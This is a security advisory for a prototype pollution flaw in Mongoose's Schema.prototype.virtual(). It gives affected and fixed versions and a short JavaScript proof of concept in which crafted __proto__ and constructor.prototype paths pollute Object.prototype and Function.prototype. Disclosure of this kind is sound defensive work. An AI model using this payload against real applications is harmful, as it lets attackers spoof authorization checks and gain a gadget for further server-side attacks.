GHSA-6972-9mcm-vhwj

Suggest an improvement
Source
https://github.com/advisories/GHSA-6972-9mcm-vhwj
Import Source
https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/11/GHSA-6972-9mcm-vhwj/GHSA-6972-9mcm-vhwj.json
JSON Data
https://api.osv.dev/v1/vulns/GHSA-6972-9mcm-vhwj
Aliases
Published
2026-11-10T20:46:33Z
Modified
2026-11-10T21:00:03Z
Severity
  • 6.5 (Medium) CVSS_V3 - CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:L CVSS Calculator
Summary
Mongoose: Prototype pollution via Schema.prototype.virtual()
Details

Summary

Prototype pollution via Schema.prototype.virtual() — the 2022 fix for CVE-2022-2564 / CVE-2022-24304 protected Schema.path()/add() but never virtual(), so the same class of bug is still exploitable in all maintained release lines.

Details

In lib/schema.js, Schema.prototype.virtual() (defined at line 2643) builds the virtual path via:

virtuals[name] = parts.reduce(function(mem, part, i) {
mem[part] || (mem[part] = (i === parts.length - 1)
? new VirtualType(options, name)
: {});
return mem[part];
}, this.tree); // lines 2755-2759

Unlike path()/add(), virtual() never received the specialProperties check added for CVE-2022-2564/CVE-2022-24304 (lib/schema.js lines 806, 1308, 1331).

A path containing __proto__/constructor/prototype segments resolves through the prototype chain and writes onto Object.prototype / Function.prototype.

Proof of concept

const mongoose = require('mongoose');
const schema = new mongoose.Schema({});

schema.virtual('__proto__.polluted');
console.log(({}).polluted); // VirtualType instance
console.log(Object.prototype.hasOwnProperty('polluted')); // true
console.log(Object.getOwnPropertyDescriptor(
Object.prototype, 'polluted').enumerable); // true

schema.virtual('constructor.prototype.opol');
console.log(({}).opol); // true

schema.virtual('hasOwnProperty.__proto__.fpol');
console.log((function(){}).fpol); // Function.prototype polluted

Impact

Attacker-influenced schema field names (dynamic schemas, CMS form builders, schema-as-code) allow pollution of Object.prototype (own, enumerable keys visible on every object — e.g. ({}).isAdmin checks can be spoofed) and Function.prototype (a known gadget primitive in server-side JS).

Database specific
{
    "cwe_ids": [
        "CWE-1321"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-11-10T20:46:33Z",
    "nvd_published_at": "2026-11-09T23:17:22Z",
    "severity": "MODERATE"
}
References

Affected packages

npm / mongoose

Package

Affected ranges

Type
SEMVER
Events
Introduced
0 Unknown introduced version / All previous versions are affected
Fixed
6.13.12

Database specific

source
"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/11/GHSA-6972-9mcm-vhwj/GHSA-6972-9mcm-vhwj.json"

npm / mongoose

Package

Affected ranges

Type
SEMVER
Events
Introduced
7.0.0
Fixed
7.8.13

Database specific

source
"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/11/GHSA-6972-9mcm-vhwj/GHSA-6972-9mcm-vhwj.json"

npm / mongoose

Package

Affected ranges

Type
SEMVER
Events
Introduced
8.0.0
Fixed
8.24.7

Database specific

source
"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/11/GHSA-6972-9mcm-vhwj/GHSA-6972-9mcm-vhwj.json"

npm / mongoose

Package

Affected ranges

Type
SEMVER
Events
Introduced
9.0.0
Fixed
9.11.4

Database specific

source
"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/11/GHSA-6972-9mcm-vhwj/GHSA-6972-9mcm-vhwj.json"